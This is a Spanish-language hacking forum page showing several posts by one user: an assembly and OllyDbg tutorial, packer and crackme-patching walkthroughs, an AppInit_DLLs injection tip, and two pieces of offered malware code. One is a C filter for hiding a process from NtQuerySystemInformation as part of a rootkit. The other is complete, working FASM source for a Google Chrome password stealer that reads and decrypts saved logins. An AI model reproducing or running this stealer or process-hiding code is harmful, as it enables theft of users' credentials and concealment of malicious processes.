elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.


Tema destacado: Trabajando con las ramas de git (tercera parte)


  Mostrar Temas
Páginas: 1 2 3 4 [5] 6 7 8 9 10 11
41  Seguridad Informática / Análisis y Diseño de Malware / [TALLER] Aprende ASM y a depurar tu programa. en: 18 Febrero 2016, 20:51 pm
Uno de los grandes problemas que tuve al aprender ASM fue que yo venia de un lenguaje de alto nivel, debido a esto tuve muchos problemas para aprender a programar en este lenguaje, ya que para depurarlo no me servia un típico Msgbox. Por eso y por que hay una serie de usuarios que se quieren iniciar en este maravilloso lenguaje me he animado a ir escribiendo esto, con el fin de que puedan tener una base para realizar sus programas.

Este texto trabajará sobre Windows y para aplicaciones de 32 bits. También decir que se utilizará Flat Assembler, que es Open Source y gratuito, puedes obtener su ultima versión aquí:

http://flatassembler.net/download.php

Dicho esto, comencemos.

VARIABLES Y REGISTROS.

En ensamblador no existen las variables de tipo int, long, string y etc. Las variables pueden ser DWORD (4 bytes), WORD (2 bytes) o BYTE (1 byte).

Una variable de tipo DWORD se declara así:

Código
  1. mivariable dd 0

Donde mivariable es el nombre que le damos a la variable, con el dd de indicamos que es un DWORD y el 0 indica que le damos como valor inicial un valor nulo, osea, cero.

La declaración para un WORD:

Código
  1. mivariable dw 0

y para el BYTE:
Código
  1. mivariable db 10

Con el 10 le indicamos que es una variable con tamaño de 10 bytes.

Luego estan los registros del microprocesador, que són los siguientes:

- EAX
- EBX
- ECX
- EDX


Los registros tienen un tamaño de 4 bytes ya que estamos programando para 32 bits.

Los podrémos usar como punteros o para almacenas información (que no supere los 4 bytes).

Estos 4 registros son de uso general, es decir son los guerreros a pie de nuestro programa. Con ellos podremos mover información de unas variables a otras, recibir el retorno de las funciones del sistema o  realizar operaciónes como multiplicar o dividir.

Además de esos 4 registros también tenemos los registros EDI y ESI. Estos registros los podemos usar también como los anteriores, aunque su propósito es otro. Normalmente complementan algunas intrucciones. También se verá mas adelante su utilidad.

Los registros EBP y  ESP son los que indican la parte baja y la parte alta de la pila, que se explicará a continuación.

Y por último el registro EIP,  este es el que indica la posición en memoria de la instrucción que se esta ejecutando. Cuando depuremos nuestra aplicación mas adelante veremos su uso.

Como aclaración decir que todos los registros tienen una capacidad de 4 bytes.

LA PILA

La pila es una "estructura", en la que almaceramos información para pasarle argumentos a nuestras funciones. Para que lo entendaís mejor, si yo quiero llamar a la API MessageBoxA lo que haré será meter sus 4 parametros en la pila y entonces llamar a la función.

La pila tiene una base, que la indica el registro EBP y una parte alta, que la indica el registro ESP.

Cada vez que introducimos un valor en la pila el registro ESP decrementa en 4. Este registro tiene que estar siempre estable ya que si no es así nuestra aplicación estallará.

Aquí entran en juego las convenciones de llamada. Esta el tipo stdcall, que es el que usa Windows y el cdecl, que lo usan algunas librerías como las de C.

En el caso de que la llamada sea de tipo stdcall NO tenemos que restaurar el registro ESP, ya que lo hace la propia función, sin embargo si es cdecl, si la tendremos que restaurar. Un ejemplo es si a la función printf de C de pasamos dos argumentos, tendremos que sumar al registro ESP 8 bytes, ya que cada argumento ocupa 4 bytes.

Y bueno, sobre este tema decir poco más, creo que es suficiente para entender el concepto.

EL JUEGO DE INSTRUCCIONES.


MOV Mueve datos entre variables y registros, unos ejemplos de su uso:
Código
  1. mov eax, edx ; Mueve el contenido del registro EDX al registro EAX
  2. mov [mivariable], eax ; mueve el contenido de EAX a la variable "mivariable"
  3.  

No se permiten mover datos entre variables, con lo cual

Código
  1. mov [mivariable], [otravariable]

no es valido, para hacer eso tendríamos que mover el valor de "otravariable" a un registro y luego mover el registro a "mivariable".

NOTA: con el caracter ";" se ponen comentarios en el código
NOTA 2: los corchetes [] indican que lo que queremos es acceder al valor de la variable, no al puntero.

ADD con esta intruccion se realizan operaciones de suma, ejemplos de uso:
Código
  1. add eax, 10 ; se suma al valor que contenga EAX 10.
  2. add [mivariable], 5; se le suma al valor de la variable 10

Código
  1. SUB
al igual que ADD suma, SUB resta, su uso es igual.

INC incrementa el valor de la variable o registro en 1, ejemplos:

Código
  1. inc eax ; incrementa el valor de EAX en 1
  2. inc [mivariable] ; incrementa el valor de mivariable en 1

DEC decrementa el valor, su uso es similar a inc.

MUL instrucción para multiplicar,  esta instrución funciona de la siguiente manera:

Código
  1. mov [mivariable], 2
  2. mov eax, 2
  3. mul [mivariable] ; Multiplica 2*2.
  4. ; resultado en el registro EAX y EDX

NOTA: el registro EDX debe valer 0 a la hora de multiplicar.

DIV instrucción que se usa para dividir, funciona de la sigueinte manera:

Código
  1. mov [var], 2
  2. mov eax, 10
  3. div [var]
  4. ; EAX = resultado
  5. ; EDX = residuo
  6.  

EDX tiene que valer  0 antes de realizar la operación.

push introduce un valor en la pila.

Código
  1. push eax
  2. push [mivar]

pop saca un valor de la pila.

pop eax ; el valor que contenia la pila ahora lo tiene EAX
pop [mivar] ; el valor que contenia la pila ahora lo tiene mivar

jmp salto hacia una parte del código, ejemplo:

Código
  1. mov eax, 1
  2. jmp Etiqueta ; saltamos
  3. mov eax, 2 ; esto no se ejecuta
  4. Etiqueta:
  5. ; EAX = 1

ret retorna una función, como return en C.

Código
  1. ...
  2. ...
  3. add esp, 12
  4. ret

cmp esta instrucción compara dos valores es el if del ASM, para usarla se necesitan otras intrucciones complementarias, estas son algunas:

je salta a a una etiqueta si los valores son iguales
jne salta a una etiqueta si los valores NO son iguales

Entre otras, que podemos ver aquí:

Código:
http://www.jegerlehner.ch/intel/IntelCodeTable.pdf


Ejemplo de uso:

Código
  1. cmp eax, edx
  2. je Iguales
  3. mov eax,0
  4. ret
  5. Iguales:
  6. mov eax,1
  7. ret

Si los valores son iguales devolvera 1, si no, devolvera 0.

xor realiza un xor, como en cualquier otro lenguaje, ejemplo.

Código
  1. xor eax, edx

el resultado de la operación se guarda en el primer parametro de la instrucción, en este caso EAX

and operación aritmética, ej:

Código
  1. and ebx, ecx

El resultado se obtiene tambien en el primer parametro, en este caso EBX

or operación aritmética, se usa igual que las dos anteriores.


ESTRUCTURA DEL CÓDIGO.

Una vez explicadas las intrucciones básicas vamos a explicar la estructura de los códigos en FASM.

Dejar claro que en ASM no es recomendable, no se puede (se puede pero no se debé) mezclar las variables con el código. La estructura es extrícta. Para generar un ejecutable podemos usar las siguientes estructuras:

Código
  1. include 'win32ax.inc'
  2.  
  3. .data
  4.        ; AQUI VAN LAS VARIABLES
  5. .code
  6. start:
  7.  
  8.        ; AQUI EL CODIGO
  9.  
  10.        ; AL FINALIZAR EL CODIGO PODEMOS DECLARAR MAS VARIABLES.
  11.  
  12. .end start    

Ó de esta otra forma:

Código
  1. include 'win32ax.inc'
  2. entry start
  3.  
  4.  
  5. section '.data' readable writeable
  6.        ; AQUI VAN LAS VARIABLES
  7.  
  8. section '.code' executable readable writeable
  9. start:
  10.        ; AQUI EL CODIGO
  11.  
  12.        ; AL FINALIZAR EL CODIGO PODEMOS DECLARAR MAS VARIABLES.
  13.  
  14. section '.idata' import data readable writeable
  15.  
  16.        ; AQUI VAN LAS IMPORTACIONES DE LAS FUNCIONES QUE VAMOS A USAR.    

Un ejemplo de un programa que muestra un mensaje con MessageBoxA.

Código
  1. include 'win32ax.inc' ; incluimos la librería para podes usar las macros SECTION, LIBRARY y ETC.
  2. entry start
  3.  
  4.  
  5. section '.data' readable writeable ; sección de datos
  6.        Mensaje          db 'Hola dese FASM!',0  ; debemos poner el byte nulo '0', para que sea una cadena.
  7.  
  8. section '.code' executable readable writeable ; sección de codigo
  9. start:
  10.  
  11.        push 0   ; metemos el último parametro de la api
  12.        push Titulo ; metemos el 3 parametro
  13.        push Mensaje ; metemos el 2 parametro
  14.        push 0        ; metemos el 1 parametro
  15.        call [MessageBoxA]  ; llamamos a la API.
  16.  
  17.        ret ; retornamos la funcion. Se acbaa el programa.
  18.  
  19.        Titulo          db 'ElHacker.net',0
  20. section '.idata' import data readable writeable ; tabla de importaciones
  21.  
  22.        library USER32, 'USER32.DLL'  ; librería donde se encuentra la API
  23.  
  24.  
  25.        import USER32,\
  26.               MessageBoxA, 'MessageBoxA' ; Función que vamos a usar              

Resultado:



Como podemos observar, para llamar a una función hay que introducir los parametros en la pila, estos parametros deben ir al revez, ya que la pila en una estructura de tipo LIFO.
Código:
https://es.wikipedia.org/wiki/Last_in,_first_out


Ahora imaginemonos que queremos realizar una suma y mostrar el resultado en el mensaje.

Tenemos estad dos variables:

Código
  1. Num1    dd 2
  2. Num2    dd 3

Lo mas fácil es hacer esto:

Código
  1. mov eax, [Num1]
  2. add eax, [Num2]
  3.  
  4. push 0
  5. push 0
  6. push eax
  7. push 0
  8. call [MessageBoxA]

Sin embargo, si probamos vamos a ver que no funciona... esto se debe a que un número no es lo mismo que una cadena. En lenguajes de de alto nivel si que funcionaría, porque el compilador/interprete realiza este paso por tí.

Para poder imprimirlo deberíamos de pasarlo a cadena, bién con una funcion que implementemos nosotros ó usando algúna del sistema como por ejemplo wsprintfA.

Bueno, esto es solo un apunte puntual, sigamos...

CONOCIENDO MEJOR LOS REGISTROS: BYTES, WORD  y DWORD.

Cuando explique los registros no lo dije, pero los registros de proposito general se pueden descomponer a su vez en registros de menor tamaño.

Ya sabemos que al programar para 32 bits los registros ocupan 4 bytes, pero también podemos usar los registros de 16 y 8 bits...

Por ejemplo, el registro EAX   es la extension de AX, que es el registro de 16 bits y este otro se divide a su vez en dos registros de 1 byte, AH (que esta en la parte alta) y AL (que esta en la parte baja)




Además podemos acceder a cualquier byte, word o dword de la siguiente forma:

Para obtener un byte de una variable o registro:

Código
  1. ; Suponiendo que en la variable buffer tenemos la cadena 'hola'
  2.  
  3. mov al, byte[buffer]  ; AL = 'h'
  4. mov ah, byte[buffer+1] ; AH = 'o'
  5.  
  6. mov al, byte[ecx] ; mueve el byte al que apunta ECX a AL.
  7.  

Lo mismo pasa con los WORD:

Código
  1. mov DX, word[buffer]

Y los DWORD:

Código
  1. mov eax, DWORD[buffer]
  2. mov eax, [buffer] ; esto es igual a la linea anterior

BUCLES y IF.

En ASM, no existen bucles for, while ni nada por el estilo, los bucles se hacen con contadores.

Por ejemplo un bucle infinito sería esto:

Código
  1. Bucle:
  2. push 0 ; estamos dentro del bucle.
  3. push 0
  4. push 0
  5. push 0
  6. call [MessageBoxA]
  7. jmp Bucle ; saltamos a la etiqueta bucle de nuevo.

Para intentar hacer un bucle for que se ejecuta 5 veces tendríamos que hacer esto:

Código
  1. include 'win32ax.inc' ; incluimos la librería para podes usar las macros SECTION, LIBRARY y ETC.
  2.  
  3. .data
  4.        var     dd 5
  5.        Texto   db 'Esto se mostrara 5 veces.',0
  6. .code
  7. start:
  8.        mov ecx, [var] ; movemos el valor de la variable a ECX
  9.  
  10.        Bucle:
  11.                push ecx  ; guardamos el valor de ECX
  12.  
  13.                push 0
  14.                push 0
  15.                push Texto
  16.                push 0
  17.                call [MessageBoxA] ; llamamos a la API
  18.  
  19.                pop ecx ; Recuperamos el valor de ECX
  20.  
  21.                dec ecx ; decrementamos el valor de ECX
  22.                cmp ecx, 0 ; Comparamos ECX con 0
  23.                jne Bucle ; Si la comparación no es igual saltamos de nuevo a la etiqueta bucle
  24.        ret ; retornamos la funcion y terminamos el programa.
  25. .end start                          


Pero... Porque guardamos el registro ECX antes de llamar a la API?

Resputa: Nomalmente TODAS las funciones de windows devuelven su valor en el registro EAX y solo modifican este registro despues de llamar a la función, pero en este caso la API MessageBoxA también modifica ECX, con lo cual en ECX ya no tendríamos nuestro contador  :-\ por eso el push y pop con ECX, para guardar su valor y despues recuperarlo intacto.

Para hacer un IF en ASM tendríamos que usar la intrucción CMP, ya se ha mostrado su uso.

FUNCIONES

Para crear una función tenemos que recordar que los parametros se pasan a traves de la pila.

Lo primero para escribir el código de nuestra función es escribir una etiqueta y usar los registros ESP y EBP para acceder  los parametros que hemos introducido anteriormente en la pila.

Ej:

Código
  1. include 'win32ax.inc' ; incluimos la librería para podes usar las macros SECTION, LIBRARY y ETC.
  2.  
  3. .data
  4.        var     dd 5
  5.        Texto   db 'Este mensaje se ejecuta desde la funcion',0
  6.        Titulo  db 'ElHacker.net',0
  7. .code
  8. start:
  9.  
  10.        push Texto
  11.        push Titulo
  12.        call Mensaje
  13.  
  14.        ret
  15.  
  16.        Mensaje: ; Funcion mensage.
  17.            push ebp ; Guardamos la base de la pila
  18.            mov ebp, esp ; movemos la parte alta de la pila a la parte baja.
  19.  
  20.            mov eax, dword[ebp+8] ; movemos el primer parametro a EAX
  21.            mov ebx, dword[ebp+12] ; segundo parametro a EBX
  22.  
  23.            push 0 ; introducimos los parametros d ela API
  24.            push eax
  25.            push ebx
  26.            push 0
  27.            call [MessageBoxA] ; llamamos a la API
  28.  
  29.            pop ebp ; restauramos el valor de EBP
  30.            add esp,12 ; se restaura el registro para que no se rompa la pila
  31.            ret
  32.  
  33. .end start          

Para entender mejor el código antes de nada diré que la intrucción CALL lo que hace es introducir el valor de retorno en la pila, osea la siguiente intrucción del call para que luego el SO sepa a donde debé saltar al retornar la función.

Debido a esto para restaurar la pila hay que sumar 12 y no 8.

Código
  1. add esp,12

Ya que son 2 parametros: 2 x 4 bytes que ocupan los punteros = 8
8 + 4 del valor de retorno cuando acabe la API = 12.

Si pasaramos 4 parametros seria 4 x 4 = 16
16 + el retorno = 20, tendriamos que sumar 20 a ESP.

Código
  1. mov eax, dword[ebp+8] ; movemos el primer parametro a EAX
  2. mov ebx, dword[ebp+12] ; segundo parametro a EBX

Aquí, ocurre lo mismo por la dirección de retorno, el primer parametro se encuentra a la posicion 8 el segundo en la 12 y si metieramos mas parametros se encontrarián sumando de 4 en 4 osea:

dword[ebp+16] ; tercer parametro
dword[ebp+20] ; cuarto parametro
....
....

En fin, así funciona la cosa de las funciones, cualquier duda preguntar.


OllyDbg y la depuración de nuestro programa.


La aplicación la podemos descargar gratuitamente desde aquí:

http://www.ollydbg.de/download.htm

Una vez descargada la ejecutamos y vamos a File > Open y abrimos cualquier ejecutable.
Una vez hecho esto el Olly nos deja situados en el EntryPoint del programa es decir, la primera instrucción que se ejecuta del programa.



La utilización de esta herramienta para depuración es simple porque nosotros conocemos como esta programado nuestro ejecutable pero para depurar programas que no hemos creado nosotros puede resultas lioso y complicado, no obstante como nosotros solo queremos depurar y ver como funciona no nos resultará complicado.

Ahora bién, veamos sus partes:

En el punto 1: Vemos las instrucciónes del programa, los opcodes de la instrucción y la dirección en memoria, ejemplo:

Código:
0040102A  |. 09C0           OR EAX,EAX

0040102A  -> Es la posición en memoria.
09C0  -> Opcodes de la instrucción
OR EAX,EAX -> instrucción

Punto 2:  vemos los valores de los registros. Los valores del registro iran cambiando conforme vamos ejecutando instrucciones (siempre y cuando la instrucción modifique algun registro, si no se quedan como estaban)

Punto 3: El ejecutable dumpeado.
Punto 4: La pila, en el veremos los datos que se introducen en la pila y el valo rque contiene.

AHora bién veremos como se maneja el programa, para ello vamos a ensamblar un ejemplo que pusimos anteriormente:

Código
  1. include 'win32ax.inc' ; incluimos la librería para podes usar las macros SECTION, LIBRARY y ETC.
  2.  
  3. .data
  4.        var     dd 5
  5.        Texto   db 'Esto se mostrara 5 veces.',0
  6. .code
  7. start:
  8.        mov ecx, [var] ; movemos el valor de la variable a ECX
  9.  
  10.        Bucle:
  11.                push ecx  ; guardamos el valor de ECX
  12.  
  13.                push 0
  14.                push 0
  15.                push Texto
  16.                push 0
  17.                call [MessageBoxA] ; llamamos a la API
  18.  
  19.                pop ecx ; Recuperamos el valor de ECX
  20.  
  21.                dec ecx ; decrementamos el valor de ECX
  22.                cmp ecx, 0 ; Comparamos ECX con 0
  23.                jne Bucle ; Si la comparación no es igual saltamos de nuevo a la etiqueta bucle
  24.        ret ; retornamos la funcion y terminamos el programa.
  25. .end start

Lo ensamblamos y lo cargamos en el olly. Como es un programa pequeñito vamos a ver poca cosa  :xD, el ASM que vemos es este:



Bién, ahora vamos a ver como depurarlo:

-Si pulsamos F9, nuestro programa correra fluidamente, es decir, como si lo estuvieramos ejecutando.
-Si pulsamos F8 vamos a ejecutar una sola instrucción.
- Si pulsamos F7 se va a ejecutar una intruccion como en F8 pero con la diferencia de que si lo pulsamos sobre una instrucción CALL entraremos en la función (con F8 esto no sucede).
-Si pulsamos F2 pondremos un BreakPoint en la instruccion que tenemos selecionada. Es decir, si ponemos un BP y pulsamos F9 el programa se ejecutara hasta llegar a la instrucción a la que le pusimos en BP (BreackPoint).

Para comprobar el funcionamiento podemos ir probando por ejemplo si ponemos un BP en esta linea:

Código
  1. 0040201D  |.^75 E7          \JNZ SHORT Tutorial.00402006

Y pulsamos F9, el programa se nos parara ahí, si lo volvemos a pulsar se nos volvera a parar, así hasta 5 veces, que son las veces que se ejecuta esa instrucción ( recordemos que es un bucle).

Vamos a probar mas cosas. En el programa vemos que guardamos ECX, pero... porque?

Bien si quitamos el push ecx y pop ecx del programa lo ensamblamos y abrimos con Olly lo vamos a ver:



Tenemos eso en el Olly y ahora vamos a ir ejecutando instrucción a instrucción pulsando F8. Pulsamos F8 hasta llegar a la llamada a MessageBox, aquí:

Código
  1. 00402011  |. FF15 3C304000  |CALL DWORD PTR DS:[<&USER32.MessageBoxA>; \MessageBoxA
  2.  

Entonces miramos el valor del registro ECX:



Si pulsamos una vez mas F8  vamos a ver que el valor de ECX cambia  :laugh: y el bucle se va a romper... el programa estallara, por eso lo de guardar el valor de ECX.
Con esto quería mostrar que a veces las llamadas a las API pueden modificar los registros y nos pueden volver loco buscando el error si no andamos con cuidado.

En fin, con este poquito que hemos visto de OllyDbg podemos depurar nuestro programa, Si quereis indagar mas sobre este Software teneis miles de tutoriales en la web de Ricardo Narvaja:

www.ricardonarvaja.info

Creo que con esto acabo de tutorial de momento ya que creo que se puede tener una visión general de lo que va el tema.

un saludo y espero que ha alguien le haya ayudado!  :)

42  Programación / Ingeniería Inversa / [Tutorial] Desempacando FSG 2.0 en: 12 Febrero 2016, 02:03 am
Mirando crackmes para practicar aquí me tope con uno que estaba empacado con este packer (FSG 2.0). Me puse a buscar por internet y no vi ningún tuto en español, excepto uno de +NCR de CracksLatinos, asique me decidi seguirlo y probar a desempacarlo.

El crackme en cuestion es CrackMe#1 (Lucky) de KLiZMA, lo podeis buscar en la web antes citada.

Para desempacarlo vamos a necesitar el plugin OllyDump, que podemos obtener desde aquí.

Bueno, una vez hecho esto lo abrimos con RDG Packer y vemos que efectivamente, esta empacado  :xD



Lo abrimos con OllyDbg y vamos a ver algo así.



Ahora vamos a buscar el verdaero OEP, para ello vamos a Plugins > OllyDump > Find OEP by section hop (Trace Over).

Y caemos aquí



Ahora clic derecho > Analisis > Remove Analisis from this module. Y ahí vemos  el verdadero OEP.



Ahora, vamos a guardar los cambios, para ello vamos a Plugins > OllyDump > Dump Debugger Process. Le damos al botón Dump y guardamos el ejecutable desempacado.

Ahora nos surge otro problema, por lo menos en Windows 7 de 64 bits y es qeu al intentar ejecutarlo, nuestro ejecutable no funciona  :¬¬



Para que funcione tendremos que hacer clic derecho sobre el ejecutable y darle a solucionar opciones de compatibilidad. Seguir el asistente y dejarlo con la configuración que nos recomienda el SO.

Y bueno, ahora si nos deja ejecutarlo correctamente.



Bueno, pues eso ha sido todo. No es un gran cosa pero en determinados casos te puede sacar de un "apuro".  

Espero que a alguien le sirva.

saludos.
43  Seguridad Informática / Análisis y Diseño de Malware / [FILTRO] Ocultando procesos a NtQuerySystemInformacion en: 6 Febrero 2016, 08:03 am
No es el código completo, ya que sería todo demasiado masticado  :xD peeero, lo que queda de implementar (el hook a la api) se puede hacer fácilmente siguiendo mi tutorial sobre ello.

Esto es solo un ejemplo de cómo sería el filtro para ocultar procesos a dicha API (la que usa el admin de tareas para listar los procesos)  >:D

Si abrimos  la calculadora de windows (calc.exe) y descomentamos las línea de código vamos a ver como va mostrando todos los procesos menos el que ocultamos nosotros (con el while anterior).

En fin, aquí esta el código.

Código
  1. // Filtro procesos a la API NtQuerySystemInformation
  2. // Juan fary.
  3. // MVSC++ 2008
  4.  
  5. #include <windows.h>
  6. #include <stdio.h>
  7. #include <stdlib.h>
  8.  
  9. typedef struct _SYSTEM_PROCESS_INFORMATION
  10. {
  11.    DWORD NextEntryOffset;
  12. char fary1[56];
  13.    DWORD ImageName;
  14. DWORD fary2;
  15.    LONG BasePriority;
  16.    PVOID UniqueProcessId;
  17. } SYSTEM_PROCESS_INFORMATION;
  18.  
  19. typedef DWORD (WINAPI * _SystemProcessInformation)(DWORD, void*, unsigned long, unsigned long*);
  20.  
  21. int main()
  22. {
  23. _SYSTEM_PROCESS_INFORMATION * spi;
  24. DWORD ret;
  25. char proceso[18] = "c\0a\0l\0c\0.\0e\0x\0e\0\0"; // "calc.exe" en unicode proceso que no se mostrará
  26.  
  27. _SystemProcessInformation __SystemProcessInformation = (_SystemProcessInformation)GetProcAddress(LoadLibraryA("NTDLL.DLL"), "NtQuerySystemInformation");
  28.  
  29. void * buffer = VirtualAlloc(NULL, 1024*1024, MEM_COMMIT|MEM_RESERVE, PAGE_READWRITE);
  30.  
  31. spi = (_SYSTEM_PROCESS_INFORMATION *)buffer;
  32.  
  33. ret = __SystemProcessInformation(5, spi, 1024*1024, NULL);
  34.  
  35.  
  36. //_SYSTEM_PROCESS_INFORMATION * Intacta = spi; // Para comprobar que el hook funciono.
  37.  
  38.  
  39. while(spi->NextEntryOffset) // Filtro para saltar el proceso que nosotros queramos.
  40. {
  41. _SYSTEM_PROCESS_INFORMATION * Viejospi = spi;
  42. spi = (_SYSTEM_PROCESS_INFORMATION*)((LPBYTE)spi+spi->NextEntryOffset);
  43.  
  44. if (lstrcmpW((LPCWSTR)spi->ImageName,(LPCWSTR)proceso) == 0)
  45. {
  46. Viejospi->NextEntryOffset += (DWORD)spi->NextEntryOffset;
  47. }else{
  48. spi = Viejospi;
  49. spi = (_SYSTEM_PROCESS_INFORMATION*)((LPBYTE)spi+spi->NextEntryOffset);
  50. }        
  51. }
  52.  
  53. /*spi = Intacta;
  54. while(spi->NextEntryOffset) // Comprobamos que muestra todos los procemos menos el que ocultamos ;P
  55.     {
  56.         MessageBoxW(0, (LPCWSTR) spi->ImageName, 0, 0);
  57.         spi=(_SYSTEM_PROCESS_INFORMATION*)((LPBYTE)spi+spi->NextEntryOffset);
  58.     }*/
  59.  
  60. return 0;
  61. }

Sí teneis alguna duda o queréis que ponga el código completo del rootkit avisar, aunque perdería la gracia.

saludos.
44  Programación / Ingeniería Inversa / [Tutorial Nivel básico] Haciendo cantar a nuestro Crackme en: 4 Febrero 2016, 22:12 pm
En este tema intentaré explicar como hacer  de nuestro Crackme, un Keygen. Modificando su comportamiento.

Decir que, esta técnica no funciona con todos los crackme, pero normalmente con los que suele hacer un strcmp suele funcionar.

En esta práctica vamos a usar el Crackme V1 de Yo-Mismo. Lo podemos descargar de aquí (estando registrados).

http://crackmes.de/users/yo_mismo/crackme_v1/

Bien, una vez que tenemos el crackme lo abrimos con OllyDbg. Lo importante es llegar al punto caliente donde compara el seríal que genera con el que nosotros introducimos, para ello en este caso pondremos un BP en scanf. Y se nos parará aquí:



Un poco mas abajo veremos el strcmp:
Código:
00401389  |. E8 52040000    CALL <JMP.&msvcrt.strcmp>                ; \strcmp

ponemos un BreakPoint en el. Introducimos usuario y serial y se nos parará en la función, vamos a examinarlo.



En la dirección 0x00404010 esta el serial correcto y en la dirección 0x00404020 esta el seríal que nosotros hemos introducido.

Anotamos la dirección donde guarda en seríal generado para nuestro usuario, osea 0x00404010.

Ahora lo que haremos será modificar la función printf, para que cuando valla a dar el error de “chico malo” en vez de mostrar el error muestre lo que sería el seríal válido para el usuario introducido.

Un poco mas abajo veremos donde muestra el mensage de error y el mensage correcto.



Entonces todo lo que tenemos que hacer es modificar esta linea:
Código:
004013A8  |> C70424 6420400>MOV DWORD PTR SS:[ESP],crack.00402064    ; |ASCII "Sigue intentando..."

Por esta otra:

Código:
004013A8     C70424 1010400>MOV DWORD PTR SS:[ESP],crack.404010

Ahora guardemos los cambios. Clic derecho>Copy To executable>All Modifications.
Clic derecho de nuevo en la ventana que nos paarecio > Save File.

Guardamos con el nombre que queramos y listo.

El único requisito que debemos cumplir es que el usuario y el serial que introduzcamos debe tener una longitud igual o mayor a 4. Si observas el algoritmo del Crackme lo vas a poder ver ;)

Ejemplo de como funciona nuestro keygen:





Eso fue todo :) Espero que se haya entendido algo, y nada, se que esto es muy básico pero seguro que a mas de uno de los que empiezan le va a servir.

un saludo.
45  Foros Generales / Foro Libre / Cuarto Milenio. en: 1 Febrero 2016, 01:29 am
Bueno, pues, esto es solo una curiosidad.

¿Cuantos de ustedes siguen este programa?

Me parece un programa interesantisimo y lo sigo desde hace años.

saludos.
46  Seguridad Informática / Análisis y Diseño de Malware / Inyección DLL por registro. en: 27 Enero 2016, 00:56 am
Bueno, creo que esto no se ha hablado por aquí aunque es un poco viejuno :P

Se trata de modificar un valor  de esta ruta del registro:

Código:
HKEY_LOCAL_MACHINES\Software\Microsoft\WindowsNT\CurrentVersion\Windows\


El valor AppInit_DLLs. En el pondrémos la ruta de nuestra DLL. Nuestra DLL será cargada cuando inicie una aplicación y cargue USER32.DLL.

saludos. :P
47  Programación / Ingeniería Inversa / [RETO] Febrero 2016 en: 25 Enero 2016, 21:20 pm
Las reglas:

https://foro.elhacker.net/ingenieria_inversa/retos_mensuales_de_reversing-t371874.0.html

1- A.ZIP: Nivel 1.
http://www.mediafire.com/download/66tf5di5dv4drwf/a.zip

2 - Level-4.ZIP: Nivel 1.
http://www.mediafire.com/download/lj4sg9n279c8mts/level-4.zip

3 - SA_Lock_System_-_CrackMe_-_0x90.ZIP: Nivel 1.
http://www.mediafire.com/download/8h7k24wobrvs7lb/C1-SA_Lock_System_-_CrackMe_-_0x90.zip

4- Kgm#1.ZIP: Nivel 2.
http://www.mediafire.com/download/x5cwxr6wc7xn6cw/Kgm%231.zip

Fuente de los crackmes: crackmes.de

saludos!!
48  Seguridad Informática / Análisis y Diseño de Malware / [ASM] Stealer Google Chrome. en: 21 Enero 2016, 08:58 am
Bueno, antes de nada este código se lo quiero dedicar a kub0x, que le gustan los códigos en ensamblador  :laugh:

Es un Stealer del navegador Google Chrome, funcional con la última versión.



Código fuente:

Código
  1. ; Stealer Google Chrome
  2. ; Programado por Juan fary.
  3. ; Flat Assembler.
  4.  
  5. format PE Console 4.0
  6. entry start
  7. include 'win32ax.inc'
  8.  
  9. section '.data' data readable writeable
  10.        ruta         db '\Local\Google\Chrome\User Data\Default\Login Data',0
  11.        query        db 'SELECT origin_url, username_value, password_value FROM logins',0
  12.  
  13.        bd           dd ?
  14.        stmt         dd ?
  15.  
  16.        URL          db 'URL: %s',10,13,0
  17.        Usuario      db 'Usuario: %s',10,13,0
  18.        PASS         db 'PASS: %s',10,13,0
  19.  
  20.        struct DATA_BLOB
  21.               cbData   dd ?
  22.               pbData   dd ?
  23.        ends
  24.  
  25.        datain      DATA_BLOB
  26.        dataout     DATA_BLOB
  27.  
  28.        buffer      rb 255
  29.  
  30.        barra       db '-----------------------------------------------------',10,13,0
  31.  
  32.        BufferRuta  rb 512
  33.        APPDATA     db 'APPDATA',0
  34.  
  35. section '.code' code readable executable
  36. start:
  37.        invoke GetEnvironmentVariableA, APPDATA, BufferRuta,512
  38.        invoke lstrcat, BufferRuta, ruta
  39.  
  40.        cinvoke sqlite3_open, BufferRuta, bd
  41.        cmp eax, 0 ; eax = SQLITE_OK
  42.        jne salir
  43.  
  44.        cinvoke sqlite3_prepare_v2, [bd] , query, -1 ,stmt,0
  45.        cmp eax, 0 ; eax = SQLITE_OK
  46.        jne salir
  47.  
  48.    BuclePass:
  49.        cinvoke sqlite3_step, [stmt]
  50.        cmp eax, 100 ; eax = SQLITE_ROW
  51.        jne salir
  52.  
  53.        cinvoke printf,barra
  54.  
  55.        cinvoke sqlite3_column_text , [stmt], 0  ; URL
  56.        cinvoke printf,URL,eax
  57.  
  58.        cinvoke sqlite3_column_text , [stmt], 1  ; USUARIO
  59.        cinvoke printf,Usuario,eax
  60.  
  61.        cinvoke sqlite3_column_text , [stmt], 2  ; Contraseña
  62.  
  63.        mov [datain.pbData], eax
  64.        mov [datain.cbData], 512
  65.  
  66.        invoke CryptUnprotectData , datain, 0, 0, 0, 0, 0, dataout
  67.  
  68.        mov ecx, -1
  69.     BucleNull:
  70.        mov edx, [dataout.pbData]
  71.        inc ecx
  72.  
  73.        cmp byte[edx+ecx],0x08
  74.        jne BucleNull
  75.  
  76.        mov byte[edx+ecx],0
  77.  
  78.        cinvoke printf, PASS, [dataout.pbData]
  79.  
  80.        cinvoke printf,barra
  81.  
  82.        jmp BuclePass
  83.  
  84.        salir:
  85.        cinvoke system,'PAUSE'
  86.        ret
  87.  
  88. section '.idata' import data readable writeable
  89.  
  90.        library  sqlite3, 'sqlite3.dll',\
  91.                 msvcrt, 'msvcrt.dll',\
  92.                 Crypt32, 'Crypt32.dll',\
  93.                 KERNEL32, 'KERNEL32.DLL'
  94.  
  95.        import sqlite3,\
  96.               sqlite3_open, 'sqlite3_open',\
  97.               sqlite3_prepare_v2, 'sqlite3_prepare_v2',\
  98.               sqlite3_column_text, 'sqlite3_column_text',\
  99.               sqlite3_step, 'sqlite3_step'
  100.  
  101.        import msvcrt,\
  102.               printf, 'printf',\
  103.               memcpy,'memcpy',\
  104.               system, 'system'
  105.  
  106.        import Crypt32,\
  107.               CryptUnprotectData, 'CryptUnprotectData'
  108.  
  109.        import KERNEL32,\
  110.               GetEnvironmentVariableA, 'GetEnvironmentVariableA',\
  111.               lstrcat, 'lstrcatA'

saludos.


49  Programación / ASM / Little-Endian Big-Endian en: 18 Enero 2016, 23:41 pm
Esto es solo una curiosida ampliando los datos de la wikipedia.

Código:
https://es.wikipedia.org/wiki/Endianness

En ASM.

Código
